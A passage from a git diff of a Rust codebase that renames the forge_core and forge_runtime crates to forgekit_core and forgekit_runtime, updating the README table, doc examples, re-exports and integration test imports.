search, CFG, edit, analysis | +| **`forgekit_runtime`** | **This crate: watching, incremental indexing, caching, metrics** | +| `forgekit_agent` | The agent layer: 6-phase loop, ReAct, workflow engine | +| `forgekit-reasoning` | Temporal checkpointing for reasoning tools | + +## License + +GPL-3.0-only β€” see [LICENSE.md](../LICENSE.md). diff --git a/forge_runtime/src/lib.rs b/forgekit_runtime/src/lib.rs similarity index 97% rename from forge_runtime/src/lib.rs rename to forgekit_runtime/src/lib.rs index b9f7455..eb9e415 100644 --- a/forge_runtime/src/lib.rs +++ b/forgekit_runtime/src/lib.rs @@ -10,7 +10,7 @@ //! # Examples //! //! ```rust,no_run -//! use forge_runtime::{ForgeRuntime, RuntimeConfig}; +//! use forgekit_runtime::{ForgeRuntime, RuntimeConfig}; //! //! # #[tokio::main] //! # async fn main() -> anyhow::Result<()> { @@ -39,8 +39,8 @@ use std::time::Duration; use anyhow::Context as _; use tokio::sync::Mutex; -// Re-export forge_core types -pub use forge_core::{FlushStats, IncrementalIndexer, PathFilter, QueryCache, WatchEvent, Watcher}; +// Re-export forgekit_core types +pub use forgekit_core::{FlushStats, IncrementalIndexer, PathFilter, QueryCache, WatchEvent, Watcher}; pub mod metrics; pub use metrics::{MetricKind, MetricsSummary, RuntimeMetrics}; @@ -95,7 +95,7 @@ pub struct ForgeRuntime { /// Runtime configuration config: RuntimeConfig, /// Graph store for indexing - store: Option>, + store: Option>, /// File watcher watcher: Option, /// Incremental indexer @@ -137,7 +137,7 @@ impl ForgeRuntime { // Initialize the graph store let store = Arc::new( - forge_core::UnifiedGraphStore::open(&codebase_path, forge_core::BackendKind::default()) + forgekit_core::UnifiedGraphStore::open(&codebase_path, forgekit_core::BackendKind::default()) .await .context("Failed to open graph store")?, ); diff --git a/forge_runtime/src/metrics.rs b/forgekit_runtime/src/metrics.rs similarity index 100% rename from forge_runtime/src/metrics.rs rename to forgekit_runtime/src/metrics.rs diff --git a/tests/common/mod.rs b/tests/common/mod.rs index 61def85..5d61449 100644 --- a/tests/common/mod.rs +++ b/tests/common/mod.rs @@ -2,7 +2,7 @@ use std::path::{Path, PathBuf}; use tempfile::TempDir; -use forge_core::{SymbolId, SymbolKind, Language, Location, Span}; +use forgekit_core::{SymbolId, SymbolKind, Language, Location, Span}; /// Creates a test Forge instance with temporary storage. /// @@ -17,9 +17,9 @@ use forge_core::{SymbolId, SymbolKind, Language, Location, Span}; /// // Use forge... /// } /// ``` -pub async fn test_forge() -> anyhow::Result<(TempDir, forge_core::Forge)> { +pub async fn test_forge() -> anyhow::Result<(TempDir, forgekit_core::Forge)> { let temp = TempDir::new()?; - let forge = forge_core::Forge::open(temp.path()).await?; + let forge = forgekit_core::Forge::open(temp.path()).await?; Ok((temp, forge)) } @@ -85,8 +85,8 @@ edition = "2021" /// - location: from test_location() /// - parent_id: None /// - metadata: serde_json::Value::Null -pub fn test_symbol() -> forge_core::Symbol { - forge_core::Symbol { +pub fn test_symbol() -> forgekit_core::Symbol { + forgekit_core::Symbol { id: SymbolId(1), name: "test_function".to_string(), fully_qualified_name: "my_crate::test_function".to_string(), diff --git a/tests/integration/accessor_tests.rs b/tests/integration/accessor_tests.rs index 1f41992..1c22d02 100644 --- a/tests/integration/accessor_tests.rs +++ b/tests/integration/accessor_tests.rs @@ -1,6 +1,6 @@ //! Integration tests for module accessors. -use forge_core::Forge; +use forgekit_core::Forge; mod common { pub use crate::common::*; diff --git a/tests/integration/builder_tests.rs b/tests/integration/builder_tests.rs index c1b59d4..8b03fd8 100644 --- a/tests/integration/builder_tests.rs +++ b/tests/integration/builder_tests.rs @@ -1,6 +1,6 @@ //! Integration tests for ForgeBuilder pattern. -use forge_core::Forge; +use forgekit_core::Forge; use std::path::PathBuf; #[tokio::test] diff --git a/tests/integration/runtime_tests.rs b/tests/integration/runtime_tests.rs index cb38da6..764f0b7 100644 --- a/tests/integration/runtime_tests.rs +++ b/tests/integration/runtime_tests.rs @@ -1,6 +1,6 @@ //! End-to-end integration tests for runtime layer. -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::test] async fn test_runtime_watch_and_index() {